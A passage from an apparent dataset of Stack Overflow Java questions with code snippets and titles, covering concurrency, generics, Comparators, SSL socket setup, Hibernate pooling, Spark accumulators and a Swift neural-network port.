1E10 ; i++ ) { func2 ( list ) ; } System.out.println ( ( time2 - time1 ) + `` / '' + ( System.currentTimeMillis ( ) - time2 ) ) ; } private static void func1 ( String s1 , String s2 ) { l++ ; } private static void func2 ( List < String > sl ) { l++ ; } }",Why is passing two string arguments more efficient than one list argument +Java,"I was reading an essay , which actually talks about double-checked locking , but I 'm surprised about an even more basic failure in the code presented as examples . It is stated there that it is possible that the initialization of an instances ( i.e . writes to the instance variables that happen before the constructor returns ) may be reordered to after a reference to the instance is written to a shared variable ( a static field in the following example ) .Is it true that with the following definition of class Foo , with one thread executing Foo.initFoo ( ) ; and a different thread executing System.out.println ( Foo.foo.a ) ; , the second thread may print 0 ( instead of 1 or throwing a NullPointerException ) ? From what I know about the Java memory model ( and memory models in other languages ) it actually does n't surprise me that this is possible but intuition is voting very strongly for it being impossible ( maybe because object initialization is involved and object initialization seems so sacred in Java ) .Is it possible to `` fix '' this code ( i.e . that it will never print 0 ) without synchronization in the first thread ?",class Foo { public int a = 1 ; public static Foo foo ; public static void initFoo ( ) { foo = new Foo ( ) ; } public static void thread1 ( ) { initFoo ( ) ; // Executed on one thread . } public static void thread2 ( ) { System.out.println ( foo.a ) ; // Executed on a different thread } },Is reordering of instance initialization and assignment to a shared variable possible ? +Java,"For a class , I need to write some JVM code , and I 'm hoping to use Clojure . I got it to work with the bottom part of the software stack , but I ca n't manage to make it work in between the GUI layer sitting on top and the bottom part . My main problem is getting the Java GUI to recognize my Clojure files . I want to use Leiningen for this , but the Java compiling solution does n't seem to account for this interoperation . The answer here seems to be exactly what I need . I do n't understand where to put the code and such ( just not quite enough details ) . Does anyone have any tips ? I tried making a plugin , but it does n't seem to work . I know my case is definitely on the fringe of problems , but a solution would make using Clojure in a classroom setting much easier.Thanks ! MORE DETAILS : I did n't have much luck with using a compiled Clojure jar . I need to create a ( ugh ) stateful Clojure class ( i.e . the methods ca n't be static ) . The code for my class ( src/final_project/MyLinkLayer.clj ) looks like My project.clj is The class compiles ( `` lein compile '' ) fine into `` target/classes/final_project/ '' , but the methods do n't show up . I can load the class via jar ( using Maven in the top Java part of my project imports of the package work well enough ) . I even checked the .class file with Eclipse , and the only methods generated are those from Object . Any thoughts ? Also , once I actually get to the `` stateful '' part of my Clojure class , does anyone have any ideas ? Thanks in advance .",( ns final_project.MyLinkLayer ( : gen-class ) ) ( defn -init [ s ] ( print s ) ) ( defn -send [ dest data len ] ( println data ) ) ( defn -recv [ trans ] ( println trans ) ) ( defn -status [ ] ( println `` I am a status ! `` ) ) ( defn -command [ cmd value ] ( println ( str cmd `` with value= '' value ) ) ) ( defproject final_project `` 0.1.0-SNAPSHOT '' : description `` A simulated MAC layer . '' : dependencies [ [ org.clojure/clojure `` 1.4.0 '' ] [ local/classFiles `` 1 '' ] ] : aot [ final_project.MyLinkLayer ] ),Sandwiching Clojure between Java with Leiningen +Java,"I was playing a bit with numbers , and something interesting came upon me , which I do n't quite understand.Why do I get `` false '' at # 1 and # 3 ? Does n't change even if binNumber = 01111010 ;","public static void main ( String [ ] args ) { int hexNumber = 0x7A ; //decimal : 122 binary:0111 1010 int decNumber = 122 ; int binNumber = 1111010 ; System.out.println ( hexNumber ) ; //122 System.out.println ( Integer.toString ( hexNumber , 16 ) ) ; //7a System.out.println ( Integer.toHexString ( hexNumber ) ) ; //7a System.out.println ( Integer.toString ( hexNumber , 2 ) ) ; // 1111010 System.out.println ( Integer.toBinaryString ( hexNumber ) ) ; //1111010 System.out.println ( hexNumber==binNumber ) ; //false System.out.println ( hexNumber==decNumber ) ; //true System.out.println ( decNumber==binNumber ) ; //false }","Binary , hex , decimal comparison" +Java,"I 'm using a LongAccumulator as a shared counter in map operations . But it seems that I 'm not using it correctly because the state of the counter on the worker nodes is not updated . Here 's what my counter class looks like : As far as I can understand the documentation this should work fine when the application is run within multiple worker nodes : Accumulators are variables that are only “ added ” to through an associative and commutative operation and can therefore be efficiently supported in parallel . They can be used to implement counters ( as in MapReduce ) or sums . Spark natively supports accumulators of numeric types , and programmers can add support for new types.But here is the result when the counter is incremented on 2 different workers and as it looks like the state is not shared between the nodes : INFO Counter : Incrementing counter with id : 866 on thread : Executor task launch worker-6 INFO Counter : Counter 's value with id : 866 is : 1 on thread : Executor task launch worker-6 INFO Counter : Incrementing counter with id : 866 on thread : Executor task launch worker-0 INFO Counter : Counter 's value with id : 866 is : 1 on thread : Executor task launch worker-0Do I understand the accumulators conception wrong or is there any setting that I must start the task with ?",public class Counter implements Serializable { private LongAccumulator counter ; public Long increment ( ) { log.info ( `` Incrementing counter with id : `` + counter.id ( ) + `` on thread : `` + Thread.currentThread ( ) .getName ( ) ) ; counter.add ( 1 ) ; Long value = counter.value ( ) ; log.info ( `` Counter 's value with id : `` + counter.id ( ) + `` is : `` + value + `` on thread : `` + Thread.currentThread ( ) .getName ( ) ) ; return value ; } public Counter ( JavaSparkContext javaSparkContext ) { counter = javaSparkContext.sc ( ) .longAccumulator ( ) ; } },Why does worker node not see updates to accumulator on another worker nodes ? +Java,"we have been simplifying some definition and usage of generics in our code.Now we got an interesting case , take this example : Now look at the method 'doSeomthingWeird ( ) in MyWeirdClass : This code will compile correctly using the eclipse JDT compiler , however it will fail when using the Oracle compiler . Since the JDT is able to produce working byte-code , it means that at JVM level , this is valid code and it is 'only ' the Oracle compiler not allowing to compile such dirty ( ! ? ) stuff.We understand that Oracle 's compiler wo n't accept the call 'T obj = getMyClass ( ) ; ' since T is not a really existent type . However since we know that the returned object implements A and B , why not allowing it ? ( The JDT compiler and the JVM do ) .Note also that since the generics code is used only internally in private methods , we do not want to expose them at class level , polluting external code with generics definitions , that we are not interested at ( from outside the class ) .The school book solution will be to create an interface AB extends A , B however since we have a larger number of interfaces which are used in different combinations and coming from different modules , making shared interfaces for all the combinations will significantly increase the number of 'dummy ' interfaces and finally make the code less readable . In theory it would require up to N-permutations of different wrapper interfaces in order to cover all the cases.The 'business-oriented-engineer ' ( other people call it the 'lazy-engineer ' ) solution would be to leave the code this way and start using only JDT for compiling the code.Edit : It 's a bug in Oracle 's Javac 6 and works without problems also on Oracle 's Javac 7What do you mean ? Are there any hidden dangers by adopting this 'strategy ' ? Addition in order to avoid discussion on ( for me ) not relevant points : I am not asking why the code above does not compile on Oracle 's compiler I know the reason and I do not want to modify this kind of code without a very good reason if it works perfectly when using another compiler.Please concentrate on the definition and usage ( without giving a specific type ) of the method 'doSomethingWeird ( ) '.Is there a good reason , why we should not use only the JDT compiler that allows writing and compiling this code and stop compiling with the Oracle 's compiler , which will not accept the code above ? ( Thanks for input ) Edit : The code above compiles correctly on Oracle Javac 7 but not on Javac 6 . It is a Javac 6 bug . So this means that there is nothing wrong in our code and we can stick on it.Question is answered , and I 'll mark it as such after the two days timeout on my own answer.Thanks everybody for the constructive feedback .","public class MyWeirdClass { public void entryPoint ( ) { doSomethingWeird ( ) ; } @ SuppressWarnings ( `` unchecked '' ) private < T extends A & B > T getMyClass ( ) { if ( System.currentTimeMillis ( ) % 2 == 0 ) { return ( T ) new MyClass_1 ( ) ; } else { return ( T ) new MyClass_2 ( ) ; } } private < T extends A & B > void doSomethingWeird ( ) { T obj = getMyClass ( ) ; obj.methodFromA ( ) ; obj.methodFromB ( ) ; } static interface A { void methodFromA ( ) ; } static interface B { void methodFromB ( ) ; } static class MyClass_1 implements A , B { public void methodFromA ( ) { } ; public void methodFromB ( ) { } ; } static class MyClass_2 implements A , B { public void methodFromA ( ) { } ; public void methodFromB ( ) { } ; } }",Special use of Java generics : 'hack ' or 'nice productivity boost ' ? +Java,"I have a Photo object : poNumber can be null for some photos or all photos in a set . I want to sort a set of photos according to poNumber , so that the lowest poNumber appears first in the sorted set . poNumber may also be duplicated in the set . If poNumber is duplicated then sort according to created ( earliest created photo appears first ) . If poNumber is null then sort according to created.I tried the below code : But it throws a NullPointerException whenever poNumber is null . If poNumber is not null then it works fine . How can I solve this issue ?",public class Photo { @ Id private String id ; private LocalDateTime created ; private Integer poNumber ; } Set < Photo > orderedPhotos = new TreeSet < > ( Comparator.nullsFirst ( Comparator.comparing ( Photo : :getPoNumber ) ) .thenComparing ( Photo : :getCreated ) ) ; for ( Photo photo : unOrderedPhotos ) { orderedPhotos.add ( photo ) ; },How do I deal with null and duplicate values in a Java 8 Comparator ? +Java,"Section 3.2.1 of Goetz 's `` Java Concurrency in Practice '' contains the following rule : Do not allow the this reference to escape during constructionI understand that , in general , allowing this to escape can lead to other threads seeing incompletely constructed versions of your object and violate the initialization safety guarantee of final fields ( as discussed e.g . here ) But is it ever possible to safely leak this ? In particular , if you establish a happen-before relationship prior to the leakage ? For example , the official Executor Javadoc says Actions in a thread prior to submitting a Runnable object to an Executor happen-before its execution begins , perhaps in another thread My naive reading understanding of the Java memory model this is that something like the following should be safe , even though it 's leaking this prior to the end of the constructor : That is , even though we have leaked this to a potentially malicious Executor , the assignments to str1 and str2 happen-before the leakage , so the object is ( for all intents and purposes ) completely constructed , even though it has not been `` completely initialized '' per JLS 17.5.Note that I also am requiring that the class be final , as any subclass 's fields would be initialized after the leakage.Am I missing something here ? Is this actually guaranteed to be well-behaved ? It looks to me like an legitimate example of `` Piggybacking on synchronization '' ( 16.1.4 ) In general , I would greatly appreciate any pointers to additional resources where these issues are covered . EDIT : I am aware that , as @ jtahlborn noted , I can avoid the issue by using a public static factory . I 'm looking for an answer of the question directly to solidify my understanding of the Java memory model.EDIT # 2 : This answer alludes to what I 'm trying to get at . That is , following the rule from the JLS cited therein is sufficient for guaranteeing visibility of all final fields . But is it necessary , or can we make use of other happen-before mechanisms to ensure our own visibility guarantees ?",public final class Foo { private final String str1 ; private String str2 ; public Foo ( Executor ex ) { str1 = `` I 'm final '' ; str2 = `` I 'm not '' ; ex.execute ( new Runnable ( ) { // Oops : Leakage ! public void run ( ) { System.out.println ( str1 + str2 ) ; } } ) ; } },Java : Safe to `` leak '' this-reference in constructor for final class via _happens-before_ relation ? +Java,I have a client server application that has been running fine for awhile now.Suddenly I am getting the below error when attempting to connect from the client . I see no errors on the server side . The certificates are not expired and I have made no code changes . I do not see any results when searching Google for this error.Client Code : Server Code :,"javax.net.ssl.SSLProtocolException : ChangeCipherSpec message sequence violation at sun.security.ssl.HandshakeStateManager.changeCipherSpec ( Unknown Source ) at sun.security.ssl.Handshaker.receiveChangeCipherSpec ( Unknown Source ) at sun.security.ssl.SSLSocketImpl.readRecord ( Unknown Source ) at sun.security.ssl.SSLSocketImpl.readDataRecord ( Unknown Source ) at sun.security.ssl.AppInputStream.read ( Unknown Source ) at sun.security.ssl.AppInputStream.read ( Unknown Source ) at java.io.DataInputStream.readUnsignedShort ( Unknown Source ) at java.io.DataInputStream.readUTF ( Unknown Source ) at java.io.DataInputStream.readUTF ( Unknown Source ) at com.jayavon.game.client.cj.run ( Unknown Source ) at java.lang.Thread.run ( Unknown Source ) //load your key store as a stream and initialize a KeyStoreKeyStore trustStore = KeyStore.getInstance ( KeyStore.getDefaultType ( ) ) ; //if your store is password protected then declare it ( it can be null however ) String tsName = `` res/gamedata/truststore '' ; char [ ] trustPassword = `` -- REMOVED -- '' .toCharArray ( ) ; //load the stream to your storetrustStore.load ( new FileInputStream ( tsName ) , trustPassword ) ; //initialize a trust manager factory with the trusted storeTrustManagerFactory trustFactory = TrustManagerFactory.getInstance ( TrustManagerFactory.getDefaultAlgorithm ( ) ) ; trustFactory.init ( trustStore ) ; //get the trust managers from the factoryTrustManager [ ] trustManagers = trustFactory.getTrustManagers ( ) ; //initialize an ssl context to use these managers and set as defaultSSLContext sslContext = SSLContext.getInstance ( `` SSL '' ) ; sslContext.init ( null , trustManagers , null ) ; SSLContext.setDefault ( sslContext ) ; //create sslfactory from the ssl contextSSLSocketFactory factory = sslContext.getSocketFactory ( ) ; if ( isPROD ) { sC = ( SSLSocket ) factory.createSocket ( `` -- REMOVED -- '' , -- REMOVED -- ) ; } else { sC = ( SSLSocket ) factory.createSocket ( `` localhost '' , -- REMOVED -- ) ; } sC.addHandshakeCompletedListener ( new HandshakeCompletedListener ( ) { @ Override public void handshakeCompleted ( HandshakeCompletedEvent arg0 ) { logger.info ( `` -- -- -- HANDSHAKE START -- -- -- '' ) ; logger.info ( `` Cipher suite : `` + arg0.getCipherSuite ( ) ) ; logger.info ( `` Local Principal : `` + arg0.getLocalPrincipal ( ) ) ; X509Certificate [ ] peerCertChain = null ; try { peerCertChain = arg0.getPeerCertificateChain ( ) ; } catch ( SSLPeerUnverifiedException e1 ) { logger.error ( `` arg0.getPeerCertificateChain ( ) '' , e1 ) ; } for ( X509Certificate s : peerCertChain ) { logger.info ( `` Local Certificate ( SigAlgName ) : `` + s.getSigAlgName ( ) ) ; logger.info ( `` Local Certificate ( SigAlgOID ) : `` + s.getSigAlgOID ( ) ) ; logger.info ( `` Local Certificate ( Version ) : `` + s.getVersion ( ) ) ; logger.info ( `` Local Certificate ( IssuerDN ) : `` + s.getIssuerDN ( ) ) ; logger.info ( `` Local Certificate ( NotAfter ) : `` + s.getNotAfter ( ) ) ; logger.info ( `` Local Certificate ( NotBefore ) : `` + s.getNotBefore ( ) ) ; logger.info ( `` Local Certificate ( PublicKey ) : `` + s.getPublicKey ( ) ) ; logger.info ( `` Local Certificate ( SerialNumber ) : `` + s.getSerialNumber ( ) ) ; logger.info ( `` Local Certificate ( SubjectDN ) : `` + s.getSubjectDN ( ) ) ; } Certificate [ ] peerCertificates = null ; try { peerCertificates = arg0.getPeerCertificates ( ) ; } catch ( SSLPeerUnverifiedException e ) { logger.error ( `` arg0.getPeerCertificates ( ) '' , e ) ; } for ( Certificate s : peerCertificates ) { logger.info ( `` Peer Certificate ( public key ) : `` + s.getPublicKey ( ) ) ; } try { logger.info ( `` Peer Principal : `` + arg0.getPeerPrincipal ( ) ) ; } catch ( SSLPeerUnverifiedException e ) { logger.error ( `` arg0.getPeerPrincipal ( ) '' , e ) ; } logger.info ( `` Session : `` + arg0.getSession ( ) ) ; logger.info ( `` Socket : `` + arg0.getSocket ( ) ) ; logger.info ( `` Source : `` + arg0.getSource ( ) ) ; logger.info ( `` -- -- -- HANDSHAKE DONE -- -- -- '' ) ; } } ) ; sC.startHandshake ( ) ; String ksName = `` res/gamedata/server.keystore '' ; char ksPass [ ] = `` -- REMOVED -- '' .toCharArray ( ) ; //create new keystore instanceKeyStore ks = KeyStore.getInstance ( `` JKS '' ) ; //load the keystore with password into the keystoreks.load ( new FileInputStream ( ksName ) , ksPass ) ; //create a new keymanagerfactory and initalize with the keystoreKeyManagerFactory kmf = KeyManagerFactory.getInstance ( `` SunX509 '' ) ; kmf.init ( ks , ksPass ) ; //initialize an ssl context with TLS with the keymanagers ( server certificate/decrypted private key ) SSLContext sc = SSLContext.getInstance ( `` TLS '' ) ; sc.init ( kmf.getKeyManagers ( ) , null , null ) ; //create sslfactory from the ssl contextSSLServerSocketFactory ssf = sc.getServerSocketFactory ( ) ; //create the server socket for clients to connect tos = ( SSLServerSocket ) ssf.createServerSocket ( -- REMOVED -- ) ; sC = ( SSLSocket ) s.accept ( ) ; sC.addHandshakeCompletedListener ( new HandshakeCompletedListener ( ) { @ Override public void handshakeCompleted ( HandshakeCompletedEvent arg0 ) { LOGGER.info ( `` -- -- -- HANDSHAKE START -- -- -- '' ) ; LOGGER.info ( `` Cipher suite : `` + arg0.getCipherSuite ( ) ) ; Certificate [ ] localCerts = arg0.getLocalCertificates ( ) ; for ( Certificate s : localCerts ) { LOGGER.info ( `` Local Certificate ( public key ) : `` + s.getPublicKey ( ) ) ; } LOGGER.info ( `` Local Principal : `` + arg0.getLocalPrincipal ( ) ) ; LOGGER.info ( `` Session : `` + arg0.getSession ( ) ) ; LOGGER.info ( `` Socket : `` + arg0.getSocket ( ) ) ; LOGGER.info ( `` Source : `` + arg0.getSource ( ) ) ; LOGGER.info ( `` -- -- -- HANDSHAKE DONE -- -- -- '' ) ; } } ) ; try { sC.startHandshake ( ) ; } catch ( SSLHandshakeException e2 ) { LOGGER.error ( `` client handshake issue for IP ( `` + sC.getLocalAddress ( ) .toString ( ) + `` ) '' , e2 ) ; }",Java Client Connection Error : ChangeCipherSpec message sequence violation +Java,"For example : fails at compile time butfails ( usually ) at run time . Trying to return just null will also result in a compile error , so I assume there is something about having multiple paths that causes the compiler to infer that null is potentially an autoboxed int ? Why can javac not fail to compile both cases with the same error ?",int anInt = null ; public static void main ( String [ ] args ) { for ( int i = 0 ; i < 10 ; i++ ) { System.out.println ( `` '' + getSomeVal ( ) ) ; } } public static int getSomeVal ( ) { return new Random ( ) .nextBoolean ( ) ? 1 : null ; },Why does the Java compiler sometimes allow the unboxing of null ? +Java,"Java 8 has Supplier < T > for 0 parameter functions , Function < T , R > for 1 parameter functions , and BiFunction < T , U , R > for 2 parameter functions.What type represents a function or lambda expression that takes 3 parameters like inIn C # , Func < T , TResult > is overloaded for up to 16 parameters so we could writeDoes the Java standard libraries provide anything similar or do you have to write your own `` TriFunction '' interface to handle functions with 3 arguments ?","SomeType lambda = ( int x , double y , String z ) - > x ; // what is SomeType ? Func < int , double , string , int > lambda = ( int x , double y , string z ) = > x ;","In Java , what type represents a function or lambda expression that takes 3 parameters ?" +Java,"Is there a way to access a specific Field on a class without using reflection ? Consider this class : Where I would like to get access to theNumber 's java.lang.reflect.Field.This works for sure : However , I would like compile check on the field name , so ideally something like this instead ( but of course my example does n't compile ) : Is this possible or am I way of wrt the compiler abilities ?",class MyType { public int theNumber ; } Field f = MyType.class.getDeclaredField ( `` theNumber '' ) ; Field f = MyType.class : :theNumber ;,Access to class ' Fields without using reflection ? +Java,"I know that you can not create an array of a generic type , Instead you have to resort to a hack . ( Given Java supports generic arrays , just not their creation , it is not clear to me why a hack is better than Java supporting creating generic arrays ) Instead of writing this you have to write thisUnfortunately this does n't work if you have an array of nested type of a genericThe best work around appears to beIs this the most `` elegant '' solution ? I make seen Generic Array Creation Compilation Error From Inner Class but the solution here is worse IMHO .","Map.Entry < K , V > [ ] entries = new Map.Entry < K , V > [ numEntries ] ; @ SuppressWarnings ( `` unchecked '' ) Map.Entry < K , V > [ ] entries = ( Map.Entry < K , V > ) new Map.Entry [ numEntries ] ; public class Outer < E > { final Inner [ ] inners = new Inner [ 16 ] ; // Generic array creation class Inner { } } @ SuppressWarnings ( `` unchecked '' ) final Inner [ ] inners = ( Inner [ ] ) Array.newInstance ( Inner.class , 16 ) ;",Java does n't allow arrays of inner classes for a generic class +Java,"I am using Hibernate 4.3.11.Final and H2 1.3.172 database and I was profiling my application on a slow linux box and finding it was spending more time on a particular SQL INSERT then anything else . It also seems that the prepared statements are not being cached since it seemed that the number of prepared statements was about the same as the number of statements executed.Have I interpreted this right ( I am using Yourkit Profiler ) My HibernateUtil class configure as followsI wonder if I have configured it incorrectly , what is particularly confusing is that the c3po documentation does quite marry up with the Hibernate config regarding the name of some of the parameters.i.e it is max_size or max_pool_sizeIts a single user multi threaded application , and ideally I want all prepared statements cached for the duration of the application , since there are only about 50 different statements . As I understand it every time I do that will get a connection from the pool , and if that particular connection has previously prepared the statement that is now required then it can use that prepared statement without having to compile a new one . If the prepared statement does not exist then it is prepared.If there are already fifty prepared statements for this connection then the oldest one will be dropped.This particular query that is taking up so more time is used as follows","public static Configuration getInitializedConfiguration ( ) { Configuration config = new Configuration ( ) ; config.setProperty ( Environment.DRIVER , '' org.h2.Driver '' ) ; config.setProperty ( Environment.URL , '' jdbc : h2 : '' +Db.DBFOLDER+ '' / '' +Db.DBNAME+ '' ; FILE_LOCK=SOCKET ; MVCC=TRUE ; DB_CLOSE_ON_EXIT=FALSE ; CACHE_SIZE=50000 '' ) ; config.setProperty ( Environment.DIALECT , '' org.hibernate.dialect.H2Dialect '' ) ; System.setProperty ( `` h2.bindAddress '' , InetAddress.getLoopbackAddress ( ) .getHostAddress ( ) ) ; config.setProperty ( `` hibernate.connection.username '' , '' jaikoz '' ) ; config.setProperty ( `` hibernate.connection.password '' , '' jaikoz '' ) ; config.setProperty ( `` hibernate.c3p0.numHelperThreads '' , '' 10 '' ) ; config.setProperty ( `` hibernate.c3p0.min_size '' , '' 20 '' ) ; //Consider that if we have lots of busy threads waiting on next stages could we possibly have alot of active //connections . config.setProperty ( `` hibernate.c3p0.max_size '' , '' 200 '' ) ; config.setProperty ( `` hibernate.c3p0.timeout '' , '' 300 '' ) ; config.setProperty ( `` hibernate.c3p0.maxStatementsPerConnection '' , '' 50 '' ) ; config.setProperty ( `` hibernate.c3p0.idle_test_period '' , '' 3000 '' ) ; config.setProperty ( `` hibernate.c3p0.acquireRetryAttempts '' , '' 10 '' ) ; addEntitiesToConfig ( config ) ; return config ; } session = HibernateUtil.beginTransaction ( ) ; public static void saveMatchedToRelease ( Session session , Integer reportId , Integer recNo , SongFieldKey songFieldKey , SongChangeType type , String original , String edited ) { SongChanges sc = new SongChanges ( ) ; sc.setReportId ( reportId ) ; sc.setRecNo ( recNo ) ; sc.setField ( songFieldKey ) ; sc.setType ( type ) ; sc.setOriginalValue ( original ) ; sc.setNewValue ( edited ) ; session.save ( sc ) ; }",Is my Java Hibernate application using Prepared Statement Pooling ? +Java,I 'm trying to implement a really simple neural network with backpropagation . I trying to train the network with the AND logical operator . But the prediction it 's not working for me fine . : ( This is my training data I just want that my network learn the simple AND logical operator.My input data : This is my whole code for the neural network . The code is not really swifty but I think it 's first more important to understand the theory about neural networks then the code will be more swifty . The problem is that my results are completely wrong . This is what I getThis is what I want to getWell for comparison the java implementation works fine..,"public class ActivationFunction { class func sigmoid ( x : Float ) - > Float { return 1.0 / ( 1.0 + exp ( -x ) ) } class func dSigmoid ( x : Float ) - > Float { return x * ( 1 - x ) } } public class NeuralNetConstants { public static let learningRate : Float = 0.3 public static let momentum : Float = 0.6 public static let iterations : Int = 100000 } public class Layer { private var output : [ Float ] private var input : [ Float ] private var weights : [ Float ] private var dWeights : [ Float ] init ( inputSize : Int , outputSize : Int ) { self.output = [ Float ] ( repeating : 0 , count : outputSize ) self.input = [ Float ] ( repeating : 0 , count : inputSize + 1 ) self.weights = [ Float ] ( repeating : ( -2.0 ... 2.0 ) .random ( ) , count : ( 1 + inputSize ) * outputSize ) self.dWeights = [ Float ] ( repeating : 0 , count : weights.count ) } public func run ( inputArray : [ Float ] ) - > [ Float ] { input = inputArray input [ input.count-1 ] = 1 var offSet = 0 for i in 0.. < output.count { for j in 0.. < input.count { output [ i ] += weights [ offSet+j ] * input [ j ] } output [ i ] = ActivationFunction.sigmoid ( x : output [ i ] ) offSet += input.count } return output } public func train ( error : [ Float ] , learningRate : Float , momentum : Float ) - > [ Float ] { var offset = 0 var nextError = [ Float ] ( repeating : 0 , count : input.count ) for i in 0.. < output.count { let delta = error [ i ] * ActivationFunction.dSigmoid ( x : output [ i ] ) for j in 0.. < input.count { let weightIndex = offset + j nextError [ j ] = nextError [ j ] + weights [ weightIndex ] * delta let dw = input [ j ] * delta * learningRate weights [ weightIndex ] += dWeights [ weightIndex ] * momentum + dw dWeights [ weightIndex ] = dw } offset += input.count } return nextError } } public class BackpropNeuralNetwork { private var layers : [ Layer ] = [ ] public init ( inputSize : Int , hiddenSize : Int , outputSize : Int ) { self.layers.append ( Layer ( inputSize : inputSize , outputSize : hiddenSize ) ) self.layers.append ( Layer ( inputSize : hiddenSize , outputSize : outputSize ) ) } public func getLayer ( index : Int ) - > Layer { return layers [ index ] } public func run ( input : [ Float ] ) - > [ Float ] { var activations = input for i in 0.. < layers.count { activations = layers [ i ] .run ( inputArray : activations ) } return activations } public func train ( input : [ Float ] , targetOutput : [ Float ] , learningRate : Float , momentum : Float ) { let calculatedOutput = run ( input : input ) var error = [ Float ] ( repeating : 0 , count : calculatedOutput.count ) for i in 0.. < error.count { error [ i ] = targetOutput [ i ] - calculatedOutput [ i ] } for i in ( 0 ... layers.count-1 ) .reversed ( ) { error = layers [ i ] .train ( error : error , learningRate : learningRate , momentum : momentum ) } } } extension ClosedRange where Bound : FloatingPoint { public func random ( ) - > Bound { let range = self.upperBound - self.lowerBound let randomValue = ( Bound ( arc4random_uniform ( UINT32_MAX ) ) / Bound ( UINT32_MAX ) ) * range + self.lowerBound return randomValue } } let traningData : [ [ Float ] ] = [ [ 0,0 ] , [ 0,1 ] , [ 1,0 ] , [ 1,1 ] ] let traningResults : [ [ Float ] ] = [ [ 0 ] , [ 0 ] , [ 0 ] , [ 1 ] ] let backProb = BackpropNeuralNetwork ( inputSize : 2 , hiddenSize : 3 , outputSize : 1 ) for iterations in 0.. < NeuralNetConstants.iterations { for i in 0.. < traningResults.count { backProb.train ( input : traningData [ i ] , targetOutput : traningResults [ i ] , learningRate : NeuralNetConstants.learningRate , momentum : NeuralNetConstants.momentum ) } for i in 0.. < traningResults.count { var t = traningData [ i ] print ( `` \ ( t [ 0 ] ) , \ ( t [ 1 ] ) -- \ ( backProb.run ( input : t ) [ 0 ] ) '' ) } } 0.0 , 0.0 -- 0.2461350.0 , 1.0 -- 0.2513071.0 , 0.0 -- 0.243251.0 , 1.0 -- 0.240923 0,0 , 0,0 -- 0,0000,0 , 1,0 -- 0,0051,0 , 0,0 -- 0,0051,0 , 1,0 -- 0,992 public class ActivationFunction { public static float sigmoid ( float x ) { return ( float ) ( 1 / ( 1 + Math.exp ( -x ) ) ) ; } public static float dSigmoid ( float x ) { return x* ( 1-x ) ; // because the output is the sigmoid ( x ) ! ! ! we dont have to apply it twice } } public class NeuralNetConstants { private NeuralNetConstants ( ) { } public static final float LEARNING_RATE = 0.3f ; public static final float MOMENTUM = 0.6f ; public static final int ITERATIONS = 100000 ; } public class Layer { private float [ ] output ; private float [ ] input ; private float [ ] weights ; private float [ ] dWeights ; private Random random ; public Layer ( int inputSize , int outputSize ) { output = new float [ outputSize ] ; input = new float [ inputSize + 1 ] ; weights = new float [ ( 1 + inputSize ) * outputSize ] ; dWeights = new float [ weights.length ] ; this.random = new Random ( ) ; initWeights ( ) ; } public void initWeights ( ) { for ( int i = 0 ; i < weights.length ; i++ ) { weights [ i ] = ( random.nextFloat ( ) - 0.5f ) * 4f ; } } public float [ ] run ( float [ ] inputArray ) { System.arraycopy ( inputArray , 0 , input , 0 , inputArray.length ) ; input [ input.length - 1 ] = 1 ; // bias int offset = 0 ; for ( int i = 0 ; i < output.length ; i++ ) { for ( int j = 0 ; j < input.length ; j++ ) { output [ i ] += weights [ offset + j ] * input [ j ] ; } output [ i ] = ActivationFunction.sigmoid ( output [ i ] ) ; offset += input.length ; } return Arrays.copyOf ( output , output.length ) ; } public float [ ] train ( float [ ] error , float learningRate , float momentum ) { int offset = 0 ; float [ ] nextError = new float [ input.length ] ; for ( int i = 0 ; i < output.length ; i++ ) { float delta = error [ i ] * ActivationFunction.dSigmoid ( output [ i ] ) ; for ( int j = 0 ; j < input.length ; j++ ) { int previousWeightIndex = offset + j ; nextError [ j ] = nextError [ j ] + weights [ previousWeightIndex ] * delta ; float dw = input [ j ] * delta * learningRate ; weights [ previousWeightIndex ] += dWeights [ previousWeightIndex ] * momentum + dw ; dWeights [ previousWeightIndex ] = dw ; } offset += input.length ; } return nextError ; } } public class BackpropNeuralNetwork { private Layer [ ] layers ; public BackpropNeuralNetwork ( int inputSize , int hiddenSize , int outputSize ) { layers = new Layer [ 2 ] ; layers [ 0 ] = new Layer ( inputSize , hiddenSize ) ; layers [ 1 ] = new Layer ( hiddenSize , outputSize ) ; } public Layer getLayer ( int index ) { return layers [ index ] ; } public float [ ] run ( float [ ] input ) { float [ ] inputActivation = input ; for ( int i = 0 ; i < layers.length ; i++ ) { inputActivation = layers [ i ] .run ( inputActivation ) ; } return inputActivation ; } public void train ( float [ ] input , float [ ] targetOutput , float learningRate , float momentum ) { float [ ] calculatedOutput = run ( input ) ; float [ ] error = new float [ calculatedOutput.length ] ; for ( int i = 0 ; i < error.length ; i++ ) { error [ i ] = targetOutput [ i ] - calculatedOutput [ i ] ; } for ( int i = layers.length - 1 ; i > = 0 ; i -- ) { error = layers [ i ] .train ( error , learningRate , momentum ) ; } } } public class NeuralNetwork { /** * @ param args the command line arguments */ public static void main ( String [ ] args ) { float [ ] [ ] trainingData = new float [ ] [ ] { new float [ ] { 0 , 0 } , new float [ ] { 0 , 1 } , new float [ ] { 1 , 0 } , new float [ ] { 1 , 1 } } ; float [ ] [ ] trainingResults = new float [ ] [ ] { new float [ ] { 0 } , new float [ ] { 0 } , new float [ ] { 0 } , new float [ ] { 1 } } ; BackpropNeuralNetwork backpropagationNeuralNetworks = new BackpropNeuralNetwork ( 2 , 3,1 ) ; for ( int iterations = 0 ; iterations < NeuralNetConstants.ITERATIONS ; iterations++ ) { for ( int i = 0 ; i < trainingResults.length ; i++ ) { backpropagationNeuralNetworks.train ( trainingData [ i ] , trainingResults [ i ] , NeuralNetConstants.LEARNING_RATE , NeuralNetConstants.MOMENTUM ) ; } System.out.println ( ) ; for ( int i = 0 ; i < trainingResults.length ; i++ ) { float [ ] t = trainingData [ i ] ; System.out.printf ( `` % d epoch\n '' , iterations + 1 ) ; System.out.printf ( `` % .1f , % .1f -- > % .3f\n '' , t [ 0 ] , t [ 1 ] , backpropagationNeuralNetworks.run ( t ) [ 0 ] ) ; } } } }",Simple Neural Network with backpropagation in Swift +Java,"Let 's say I have an abstract classI have specific trainers like : Each of these 'trainers ' has a set of fixed tricks they can train the animal to do , which I 'd like to use Enums for . So I have an interface : and in each of the trainers , I have an Enum that implements this interface . So : Now in the each of the Trainer classes , I 'd like a method say 'trainingComplete ' that takes one of the Enums as an input and saves it to a set . SoHowever , instead of defining the 'completed ' set in each of the specific Trainers and the 'trainingComplete ' method in each of the trainers , I 'd like something in the parent 'Trainers ' class that can be Enum-type enforced ... So it 's a weird combination of Enums and generics . Is this possible ?","public abstract class Trainer < T extends Animal > { } public DogTrainer extends Trainer < Dog > { } public HorseTrainer extends 